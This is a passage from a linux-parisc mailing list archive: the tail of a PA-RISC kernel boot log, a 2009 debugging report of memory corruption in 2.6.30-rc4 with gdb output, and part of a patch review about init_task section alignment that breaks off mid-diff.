> [17179582.248000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xf4005000, 00:30:6e:08:0a:7f, IRQ 65.
> [17179582.544000] usbcore: registered new interface driver usbfs
> [17179582.612000] usbcore: registered new interface driver hub
> [17179582.704000] sym0: <895a> rev 0x1 at pci 0000:00:0f.0 irq 68
> [17179582.804000] libata version 3.00 loaded.
> [17179582.824000] sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
> [17179582.904000] sym0: SCSI BUS has been reset.
> [17179582.964000] scsi0 : sym-2.2.3
> [17179583.008000] usbcore: registered new device driver usb
> [17179583.096000] ohci_hcd: 2006 August 04 USB 1.1 'Open' Host Controller (OHCI) Driver
> [17179583.096000] ohci_hcd: block sizes: ed 64 td 64
> [17179583.100000] ohci_hcd 0000:00:0e.2: OHCI Host Controller
> [17179583.168000] ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
> [17179583.260000] ohci_hcd 0000:00:0e.2: Using NSC SuperIO setup
> [17179583.260000] ohci_hcd 0000:00:0e.2: created debug files
> [17179583.260000] ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf4004000
> [17179583.384000] ohci_hcd 0000:00:0e.2: OHCI controller state
> [17179583.384000] ohci_hcd 0000:00:0e.2: OHCI 1.0, NO legacy support registers
> [17179583.384000] ohci_hcd 0000:00:0e.2: control 0x083 HCFS=operational CBSR=3
> [17179583.384000] ohci_hcd 0000:00:0e.2: cmdstatus 0x00000 SOC=0
> [17179583.384000] ohci_hcd 0000:00:0e.2: intrstatus 0x00000000
> [17179583.384000] ohci_hcd 0000:00:0e.2: intrenable 0x8000001a MIE UE RD WDH
> [17179583.384000] ohci_hcd 0000:00:0e.2: hcca frame #0000
> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.a 00001003 POTPGT=0 NOCP NDP=3(3)
> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.b 000e0000 PPCM=000e DR=0000
> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.status 00008000 DRWE
> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.portstatus [0] 0x00000100 PPS
> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.portstatus [1] 0x00000100 PPS
> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.portstatus [2] 0x00000100 PPS
> [17179583.384000] usb usb1: default language 0x0409
> [17179583.384000] usb usb1: uevent
> [17179583.384000] usb usb1: usb_probe_device
> [17179583.384000] usb usb1: configuration #1 chosen from 1 choice
> [17179583.452000] usb usb1: adding 1-0:1.0 (config #1, interface 0)
> [17179583.452000] usb 1-0:1.0: uevent
> [17179583.452000] hub 1-0:1.0: usb_probe_interface
> [17179583.452000] hub 1-0:1.0: usb_probe_interface - got id
> [17179583.452000] hub 1-0:1.0: USB hub found
> [17179583.500000] hub 1-0:1.0: 3 ports detected
> [17179583.552000] hub 1-0:1.0: standalone hub
> [17179583.552000] hub 1-0:1.0: ganged power switching
> [17179583.552000] hub 1-0:1.0: no over-current protection
> [17179583.552000] hub 1-0:1.0: power on to power good time: 0ms
> [17179583.552000] hub 1-0:1.0: local power source is good
> [17179583.552000] hub 1-0:1.0: enabling power on all ports
> [17179583.656000] usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
> [17179583.740000] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
> [17179583.828000] usb usb1: Product: OHCI Host Controller
> [17179583.892000] usb usb1: Manufacturer: Linux 2.6.26-2-parisc ohci_hcd
> [17179583.968000] usb usb1: SerialNumber: 0000:00:0e.2
> [17179584.032000] sata_promise 0000:01:04.0: version 2.12
> [17179584.032000] scsi1 : sata_promise
> [17179584.112000] Uniform Multi-Platform E-IDE driver
> [17179584.168000] ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> [17179584.268000] scsi2 : sata_promise
> [17179584.312000] scsi3 : sata_promise
> [17179584.352000] scsi4 : sata_promise
> [17179584.396000] ata1: SATA max UDMA/133 mmio m4096@0xf4820000 ata 0xf4820380 irq 70
> [17179584.484000] ata2: SATA max UDMA/133 mmio m4096@0xf4820000 ata 0xf4820280 irq 70
> [17179584.576000] ata3: SATA max UDMA/133 mmio m4096@0xf4820000 ata 0xf4820200 irq 70
> [17179584.668000] ata4: SATA max UDMA/133 mmio m4096@0xf4820000 ata 0xf4820300 irq 70
> [17179584.760000] hub 1-0:1.0: state 7 ports 3 chg 0000 evt 0000
> [17179584.792000] NS87415: IDE controller (0x100b:0x0002 rev 0x03) at  PCI slot 0000:00:0e.0
> [17179584.892000] NS87415: 100% native mode on irq 7
> [17179584.948000]     ide0: BM-DMA at 0x0900-0x0907
> [17179585.008000]     ide1: BM-DMA at 0x0908-0x090f
> [17179585.060000] Probing IDE interface ide0...
> [17179585.184000] ata1: SATA link up 3.0 Gbps (SStatus 123 SControl 300)
> [17179585.284000] ata1.00: ATA-8: Hitachi HDT721010SLA360, ST6OA31B, max UDMA/133
> [17179585.368000] ata1.00: 1953525168 sectors, multi 0: LBA48 NCQ (depth 0/32)
> [17179585.468000] ata1.00: configured for UDMA/133
> [17179585.692000] hda: FX4830T, ATAPI CD/DVD-ROM drive
> [17179585.856000] ata2: SATA link down (SStatus 0 SControl 300)
> [17179586.240000] ata3: SATA link up 3.0 Gbps (SStatus 123 SControl 300)
> [17179586.340000] ata3.00: ATA-8: Hitachi HDT721010SLA360, ST6OA31B, max UDMA/133
> [17179586.424000] ata3.00: 1953525168 sectors, multi 0: LBA48 NCQ (depth 0/32)
> [17179586.524000] ata3.00: configured for UDMA/133
> [17179586.692000] Probing IDE interface ide1...
> [17179586.896000] ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 300)
> [17179586.996000] ata4.00: ATA-8: Hitachi HDT721010SLA360, ST6OA31B, max UDMA/133
> [17179587.080000] ata4.00: 1953525168 sectors, multi 0: LBA48 NCQ (depth 0/32)
> [17179587.180000] ata4.00: configured for UDMA/133
> [17179587.232000] scsi: waiting for bus probes to complete ...
> [17179587.524000] ide0 at 0xe00-0xe07,0xd02 on irq 7
> [17179587.580000] ide1 at 0xb00-0xb07,0xa02 on irq 7
> [17179587.636000] scsi 0:0:5:0: Direct-Access     IBM      IC35L073UCDY10-0 S27T PQ: 0 ANSI: 3
> [17179587.736000]  target0:0:5: tagged command queuing enabled, command queue depth 16.
> [17179587.828000]  target0:0:5: Beginning Domain Validation
> [17179587.892000]  target0:0:5: asynchronous
> [17179587.944000]  target0:0:5: wide asynchronous
> [17179587.996000]  target0:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
> [17179588.084000]  target0:0:5: Domain Validation skipping write tests
> [17179588.160000]  target0:0:5: Ending Domain Validation
> [17179588.220000] scsi 0:0:6:0: Direct-Access     QUANTUM  ATLAS5-9LVD      HP04 PQ: 0 ANSI: 3
> [17179588.320000]  target0:0:6: tagged command queuing enabled, command queue depth 16.
> [17179588.412000]  target0:0:6: Beginning Domain Validation
> [17179588.476000]  target0:0:6: asynchronous
> [17179588.528000]  target0:0:6: wide asynchronous
> [17179588.580000]  target0:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
> [17179588.668000]  target0:0:6: Domain Validation skipping write tests
> [17179588.744000]  target0:0:6: Ending Domain Validation
> [17179591.132000] scsi 1:0:0:0: Direct-Access     ATA      Hitachi HDT72101 ST6O PQ: 0 ANSI: 5
> [17179591.304000] scsi 3:0:0:0: Direct-Access     ATA      Hitachi HDT72101 ST6O PQ: 0 ANSI: 5
> [17179591.440000] Driver 'sd' needs updating - please use bus_type methods
> [17179591.608000] scsi 4:0:0:0: Direct-Access     ATA      Hitachi HDT72101 ST6O PQ: 0 ANSI: 5
> [17179591.732000] sd 0:0:5:0: [sda] 143374650 512-byte hardware sectors (73408 MB)
> [17179592.108000] sd 0:0:5:0: [sda] Write Protect is off
> [17179592.168000] sd 0:0:5:0: [sda] Mode Sense: cb 00 00 08
> [17179592.296000] hda: ATAPI 48X CD-ROM drive, 128kB Cache
> [17179592.356000] Uniform CD-ROM driver Revision: 3.20
> [17179592.524000] sd 0:0:5:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> [17179592.640000] sd 0:0:5:0: [sda] 143374650 512-byte hardware sectors (73408 MB)
> [17179592.728000] sd 0:0:5:0: [sda] Write Protect is off
> [17179592.788000] sd 0:0:5:0: [sda] Mode Sense: cb 00 00 08
> [17179592.788000] sd 0:0:5:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> [17179592.904000]  sda: sda1
> [17179592.964000] sd 0:0:5:0: [sda] Attached SCSI disk
> [17179593.044000] sd 0:0:6:0: [sdb] 17773524 512-byte hardware sectors (9100 MB)
> [17179593.140000] sd 0:0:6:0: [sdb] Write Protect is off
> [17179593.204000] sd 0:0:6:0: [sdb] Mode Sense: e3 00 10 08
> [17179593.232000] sd 0:0:6:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FUA
> [17179593.348000] sd 0:0:6:0: [sdb] 17773524 512-byte hardware sectors (9100 MB)
> [17179593.432000] sd 0:0:6:0: [sdb] Write Protect is off
> [17179593.496000] sd 0:0:6:0: [sdb] Mode Sense: e3 00 10 08
> [17179593.496000] sd 0:0:6:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FUA
> [17179593.600000]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 sdb7 sdb8 > sdb4
> [17179593.724000] sd 0:0:6:0: [sdb] Attached SCSI disk
> [17179593.792000] sd 1:0:0:0: [sdc] 1953525168 512-byte hardware sectors (1000205 MB)
> [17179593.884000] sd 1:0:0:0: [sdc] Write Protect is off
> [17179593.944000] sd 1:0:0:0: [sdc] Mode Sense: 00 3a 00 00
> [17179593.944000] sd 1:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
> [17179594.056000] sd 1:0:0:0: [sdc] 1953525168 512-byte hardware sectors (1000205 MB)
> [17179594.148000] sd 1:0:0:0: [sdc] Write Protect is off
> [17179594.208000] sd 1:0:0:0: [sdc] Mode Sense: 00 3a 00 00
> [17179594.208000] sd 1:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
> [17179594.320000]  sdc: sdc1
> [17179594.364000] sd 1:0:0:0: [sdc] Attached SCSI disk
> [17179594.432000] sd 3:0:0:0: [sdd] 1953525168 512-byte hardware sectors (1000205 MB)
> [17179594.520000] sd 3:0:0:0: [sdd] Write Protect is off
> [17179594.584000] sd 3:0:0:0: [sdd] Mode Sense: 00 3a 00 00
> [17179594.584000] sd 3:0:0:0: [sdd] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
> [17179594.696000] sd 3:0:0:0: [sdd] 1953525168 512-byte hardware sectors (1000205 MB)
> [17179594.784000] sd 3:0:0:0: [sdd] Write Protect is off
> [17179594.844000] sd 3:0:0:0: [sdd] Mode Sense: 00 3a 00 00
> [17179594.844000] sd 3:0:0:0: [sdd] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
> [17179594.956000]  sdd: sdd1
> [17179595.004000] sd 3:0:0:0: [sdd] Attached SCSI disk
> [17179595.068000] sd 4:0:0:0: [sde] 1953525168 512-byte hardware sectors (1000205 MB)
> [17179595.160000] sd 4:0:0:0: [sde] Write Protect is off
> [17179595.220000] sd 4:0:0:0: [sde] Mode Sense: 00 3a 00 00
> [17179595.220000] sd 4:0:0:0: [sde] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
> [17179595.332000] sd 4:0:0:0: [sde] 1953525168 512-byte hardware sectors (1000205 MB)
> [17179595.424000] sd 4:0:0:0: [sde] Write Protect is off
> [17179595.484000] sd 4:0:0:0: [sde] Mode Sense: 00 3a 00 00
> [17179595.484000] sd 4:0:0:0: [sde] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
> [17179595.596000]  sde: sde1
> [17179595.640000] sd 4:0:0:0: [sde] Attached SCSI disk
> [17179596.980000] md: linear personality registered for level -1
> [17179597.088000] md: multipath personality registered for level -4
> [17179597.200000] md: raid0 personality registered for level 0
> [17179597.312000] md: raid1 personality registered for level 1
> [17179597.416000] xor: measuring software checksum speed
> [17179597.496000]    8regs     :   943.000 MB/sec
> [17179597.568000]    8regs_prefetch:   933.000 MB/sec
> [17179597.644000]    32regs    :   960.000 MB/sec
> [17179597.716000]    32regs_prefetch:   945.000 MB/sec
> [17179597.772000] xor: using function: 32regs (960.000 MB/sec)
> [17179597.848000] async_tx: api initialized (sync-only)
> [17179598.012000] raid6: int32x1    183 MB/s
> [17179598.128000] raid6: int32x2    230 MB/s
> [17179598.244000] raid6: int32x4    272 MB/s
> [17179598.360000] raid6: int32x8    213 MB/s
> [17179598.408000] raid6: using algorithm int32x4 (272 MB/s)
> [17179598.468000] md: raid6 personality registered for level 6
> [17179598.536000] md: raid5 personality registered for level 5
> [17179598.604000] md: raid4 personality registered for level 4
> [17179598.896000] md: raid10 personality registered for level 10
> [17179599.136000] md: bind<sdd1>
> [17179599.172000] md: bind<sde1>
> [17179599.208000] md: bind<sdc1>
> [17179599.324000] raid5: device sdc1 operational as raid disk 0
> [17179599.392000] raid5: device sdd1 operational as raid disk 1
> [17179599.460000] raid5: allocated 3176kB for md0
> [17179599.512000] raid5: raid level 5 set md0 active with 2 out of 3 devices, algorithm 2
> [17179599.608000] RAID5 conf printout:
> [17179599.648000]  --- rd:3 wd:2
> [17179599.684000]  disk 0, o:1, dev:sdc1
> [17179599.728000]  disk 1, o:1, dev:sdd1
> [17179600.672000] EXT3-fs: INFO: recovery required on readonly filesystem.
> [17179600.752000] EXT3-fs: write access will be enabled during recovery.
> [17179601.128000] kjournald starting.  Commit interval 5 seconds
> [17179601.196000] EXT3-fs: recovery complete.
> [17179601.244000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179603.920000] udevd version 125 started
> [17179604.124000] usb usb1: uevent
> [17179604.124000] usb 1-0:1.0: uevent
> [17179609.280000] Adding 489940k swap on /dev/sdb7.  Priority:-1 extents:1 across:489940k
> [17179609.764000] EXT3 FS on sdb5, internal journal
> [17179610.860000] LASI 82596 driver - Revision: 1.30
> [17179610.980000] loop: module loaded
> [17179616.900000] RAID5 conf printout:
> [17179616.944000]  --- rd:3 wd:2
> [17179616.980000]  disk 0, o:1, dev:sdc1
> [17179617.024000]  disk 1, o:1, dev:sdd1
> [17179617.072000]  disk 2, o:1, dev:sde1
> [17179617.116000] md: recovery of RAID array md0
> [17179617.168000] md: minimum _guaranteed_  speed: 1000 KB/sec/disk.
> [17179617.240000] md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery.
> [17179617.360000] md: using 128k window, over a total of 976759936 blocks.
> [17179632.056000] kjournald starting.  Commit interval 5 seconds
> [17179632.140000] EXT3 FS on sdb8, internal journal
> [17179632.196000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179632.312000] kjournald starting.  Commit interval 5 seconds
> [17179632.392000] EXT3 FS on sdb4, internal journal
> [17179632.448000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179632.556000] kjournald starting.  Commit interval 5 seconds
> [17179632.632000] EXT3 FS on sdb6, internal journal
> [17179632.688000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179632.816000] kjournald starting.  Commit interval 5 seconds
> [17179632.920000] EXT3 FS on sda1, internal journal
> [17179632.976000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179633.408000] kjournald starting.  Commit interval 5 seconds
> [17179633.512000] EXT3 FS on md0, internal journal
> [17179633.564000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179639.712000] eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Random memory corruption with 64-bit SMP 2.6.30-rc4
Date: Sun, 3 May 2009 14:25:53 -0400
Organization: nrc.ca
Lines: 117
Approved: news@gmane.org
Message-ID: <20090503182553.GA1579@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241375178 14419 80.91.229.12 (3 May 2009 18:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 May 2009 18:26:18 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 03 20:26:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0gNy-0005BV-Dt
	for glpp-linux-parisc@gmane.org; Sun, 03 May 2009 20:25:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752229AbZECSZ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 May 2009 14:25:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752201AbZECSZ4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 May 2009 14:25:56 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4574 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752183AbZECSZz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 May 2009 14:25:55 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 82AB94FC3; Sun,  3 May 2009 14:25:54 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1648
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1648>

I'm not able to build gcc with 2.6.30-rc4.  Builds don't usually get
beyond stage1.  A variety of applications generate SEGVs, the most common
one being /bin/sh (bash).  I looked at one that seemed reasonably easy
to understand.  Quite a few of the SEGVs occur running _dl_fixup.

dave@mx3210:~/gnu/gcc/objdir/prev-gcc$ /usr/bin/gdb -c core /bin/bash
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-linux-gnu"...
(no debugging symbols found)

warning: core file may not match specified executable file.
Reading symbols from /lib/libncurses.so.5...(no debugging symbols found)...done.
Loaded symbols for /lib/libncurses.so.5
Reading symbols from /lib/libdl.so.2...Reading symbols from /usr/lib/debug/lib/libdl-2.9.so...done.
done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.9.so...done.
done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld.so.1...Reading symbols from /usr/lib/debug/lib/ld-2.9.so...done.
done.
Loaded symbols for /lib/ld.so.1

Core was generated by `/bin/sh -c echo unprotoize|sed 's,y,y,''.
Program terminated with signal 11, Segmentation fault.
[New process 6109]
#0  do_lookup_x (new_hash=2090198464, old_hash=0xc00a1b08, ref=0x159a0,
    result=0xc00a1b18, scope=0x40421b3c, i=0, flags=1, skip=0x0)
    at do-lookup.h:73
73      do-lookup.h: No such file or directory.
	in do-lookup.h
Function "fancy_abort" not defined.
Make breakpoint pending on future shared library load? (y or [n]) [answered N; input not from terminal]
Breakpoint 1 at 0x41c84
Breakpoint 2 at 0x406c52cc: file exit.c, line 39. (2 locations)
Breakpoint 3 at 0x406c3a14: file abort.c, line 55.

(gdb) disass 0x4040906c 0x4040908c
Dump of assembler code from 0x4040906c to 0x4040908c:
0x4040906c <do_lookup_x+356>:   cmpib,=,n 0,r25,0x40408fe4 <do_lookup_x+220>
0x40409070 <do_lookup_x+360>:   ldo 1(r3),r3
0x40409074 <do_lookup_x+364>:   ldw 38(r22),ret0
0x40409078 <do_lookup_x+368>:   ldw 34(r22),r20
0x4040907c <do_lookup_x+372>:   ldw 4(ret0),r16
0x40409080 <do_lookup_x+376>:   ldw 4(r20),ret0
0x40409084 <do_lookup_x+380>:   stw ret0,-9c(sp)
0x40409088 <do_lookup_x+384>:   ldw 184(r22),r20
End of assembler dump.

(gdb) bt
#0  do_lookup_x (new_hash=2090198464, old_hash=0xc00a1b08, ref=0x159a0,
    result=0xc00a1b18, scope=0x40421b3c, i=0, flags=1, skip=0x0)
    at do-lookup.h:73
#1  0x4040944c in _dl_lookup_symbol_x (undef_name=0x1ac6d "dup2",
    undef_map=0x404219e0, ref=0xc00a1a48, symbol_scope=0x40421b98,
    version=0x40001440, type_class=1, flags=1, skip_map=0x0) at dl-lookup.c:340
#2  0x4040d340 in _dl_fixup (l=0x404219e0, reloc_offset=<value optimized out>)
    at dl-runtime.c:108
#3  0x40413a48 in _dl_runtime_resolve () from /lib/ld.so.1
#4  0x00036260 in ?? ()
#5  0x00039d14 in ?? ()
#6  0x000373b8 in execute_command_internal ()
#7  0x00036bfc in ?? ()
#8  0x000382a4 in execute_command_internal ()
#9  0x00073a68 in parse_and_execute ()
#10 0x00025a1c in ?? ()
#11 0x000269a8 in main ()

(gdb) p/x $ret0
$1 = 0x0
(gdb) p/x $r20
$2 = 0x0
(gdb) p/x $r22
$3 = 0x404219e0
(gdb) p/x 0x404219e0 + 0x34
$4 = 0x40421a14
(gdb) x/64x 0x404219e0
0x404219e0:     0x00000000      0x4041a448      0x000ca0f0      0x40000bf0
0x404219f0:     0x00000000      0x404219e0      0x00000000      0x40421cb4
0x40421a00:     0x00000000      0x000ca100      0x000ca150      0x000ca140
0x40421a10:     0x000ca118      0x000ca120      0x000ca128      0x000ca168
0x40421a20:     0x000ca170      0x000ca178      0x000ca130      0x000ca138
0x40421a30:     0x000ca108      0x000ca110      0x00000000      0x00000000
0x40421a40:     0x00000000      0x00000000      0x00000000      0x00000000
0x40421a50:     0x000ca158      0x000ca148      0x00000000      0x000ca160
0x40421a60:     0x00000000      0x00000000      0x00000000      0x00000000
0x40421a70:     0x00000000      0x00000000      0x00000000      0x00000000
0x40421a80:     0x00000000      0x00000000      0x000ca188      0x000ca180
0x40421a90:     0x00000000      0x00000000      0x00000000      0x00000000
0x40421aa0:     0x00000000      0x00000000      0x00000000      0x00000000
0x40421ab0:     0x00000000      0x00000000      0x00000000      0x00000000
0x40421ac0:     0x00000000      0x000ca190      0x00000000      0x00000000
0x40421ad0:     0x00000000      0x00000000      0x00000000      0x00000000

So, the values in $r20 and $ret0 are not consistent with the values in
memory pointed to by $r22.  I looked at the assembler code for do_lookup_x
and as far as I can tell, there is no way to avoid the path through
do_lookup_x+364.  Further, $rp is consistent with do_lookup_x being
called at its normal entry position.  So, either memory or $r22 is
corrupt in the core dump.

The values like 0x000ca... probably are from bash.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 3/5] parisc: use new macros for .data.init_task.
Date: Sun, 03 May 2009 21:37:38 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <49FDF282.7010207@gmx.de>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu> <1241135719-9286-2-git-send-email-tabbott@mit.edu> <1241135719-9286-3-git-send-email-tabbott@mit.edu> <1241135719-9286-4-git-send-email-tabbott@mit.edu> <49FBD681.9080605@gmx.de> <20090502221006.GA4309@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241379504 25946 80.91.229.12 (3 May 2009 19:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 May 2009 19:38:24 +0000 (UTC)
Cc: Tim Abbott <tabbott@MIT.EDU>,
	Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756421AbZECTh4@vger.kernel.org Sun May 03 21:38:13 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756421AbZECTh4@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0hVq-0006MP-TH
	for glk-linux-kernel-3@gmane.org; Sun, 03 May 2009 21:38:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756421AbZECTh4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 3 May 2009 15:37:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751447AbZECThp
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sun, 3 May 2009 15:37:45 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:33170 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751303AbZECTho (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 3 May 2009 15:37:44 -0400
Original-Received: (qmail invoked by alias); 03 May 2009 19:37:42 -0000
Original-Received: from mnhm-590e0216.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.2.22]
  by mail.gmx.net (mp025) with SMTP; 03 May 2009 21:37:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18Z1ZYqnQgZ4UopjgquR9XG9/MOrRP2GLl20ZRtM+
	WhV4icBI11qnq5
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <20090502221006.GA4309@uranus.ravnborg.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:831425 gmane.linux.ports.parisc:1649
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1649>

Sam Ravnborg wrote:
> On Sat, May 02, 2009 at 07:13:37AM +0200, Helge Deller wrote:
>> Tim Abbott wrote:
>>> .data.init_task should not need a separate output section; this change
>>> moves it into the .data section.
>>>
>>> Signed-off-by: Tim Abbott <tabbott@mit.edu>
>>> Cc: Kyle McMartin <kyle@mcmartin.ca>
>>> Cc: Helge Deller <deller@gmx.de>
>>> Cc: linux-parisc@vger.kernel.org
>>
>> I think this patch is wrong, although it is theoretically correct.
>>
>> IIRC, gcc on hppa is not able to provide an alignment >= 8k, which is
>> why we have done the 16k alignment inside the linker script.
>> So, I think this change will prevent the parisc kernel to boot up.
>> Needs testing.
> 
> The patch does not do much...
> 
>> Helge
>>
>>> ---
>>>  arch/parisc/kernel/init_task.c   |    2 +-
>>>  arch/parisc/kernel/vmlinux.lds.S |   10 ++--------
>>>  2 files changed, 3 insertions(+), 9 deletions(-)
>>>
>>> diff --git a/arch/parisc/kernel/init_task.c b/arch/parisc/kernel/init_task.c
>>> index 1e25a45..8ee17ea 100644
>>> --- a/arch/parisc/kernel/init_task.c
>>> +++ b/arch/parisc/kernel/init_task.c
>>> @@ -48,7 +48,7 @@ EXPORT_SYMBOL(init_mm);
>>>   * "init_task" linker map entry..
>>>   */
>>>  union thread_union init_thread_union
>>> -	__attribute__((aligned(128))) __attribute__((__section__(".data.init_task"))) =
>>> +	__attribute__((aligned(128))) __init_task_data =
>>>  		{ INIT_THREAD_INFO(init_task) };
> This is a simple replacement with a nicer way to say "this belongs to
> the .data.init_task section - no functional difference.
> 
> 
>>>  
>>>  #if PT_NLEVELS == 3
>>> diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
>>> index b5936c9..c8a528d 100644
>>> --- a/arch/parisc/kernel/vmlinux.lds.S
>>> +++ b/arch/parisc/kernel/vmlinux.lds.S
>>> @@ -103,6 +103,8 @@ SECTIONS
>>>  	. = ALIGN(L1_CACHE_BYTES);
>>>  	/* Data */
>>>  	.data : {
>>> +		/* assembler code expects init_task to be 16k aligned */
>>> +		INIT_TASK_DATA(16384)
>>>  		NOSAVE_DATA
